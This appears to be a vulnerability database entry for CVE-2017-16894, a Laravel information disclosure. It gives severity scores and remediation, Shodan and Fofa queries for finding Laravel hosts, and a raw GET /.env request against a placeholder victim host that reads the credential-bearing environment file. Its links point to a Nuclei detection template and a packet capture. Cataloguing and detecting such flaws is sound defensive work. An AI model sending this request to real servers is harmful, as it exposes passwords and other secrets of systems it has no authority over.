| Title | Laravel <5.5.21 - Information Disclosure |
|---|---|
| Author | j4vaovo |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain sensitive information from the application. |
| Remediation | Upgrade Laravel to version 5.5.21 or higher to fix the information disclosure vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.88787 |
| CVE ID | CVE-2017-16894 |
| CWE ID | CWE-200 |
| Shodan Query | Laravel-Frameworkcpe:"cpe:2.3:a:laravel:laravel"laravel-framework |
| Fofa Query | app="Laravel-Framework"app="laravel-framework" |
| Tags | cve cve2017 laravel exposure packetstorm vkev vuln |
Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.
GET /.env HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-16894.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-16894.pcap
N/AN/A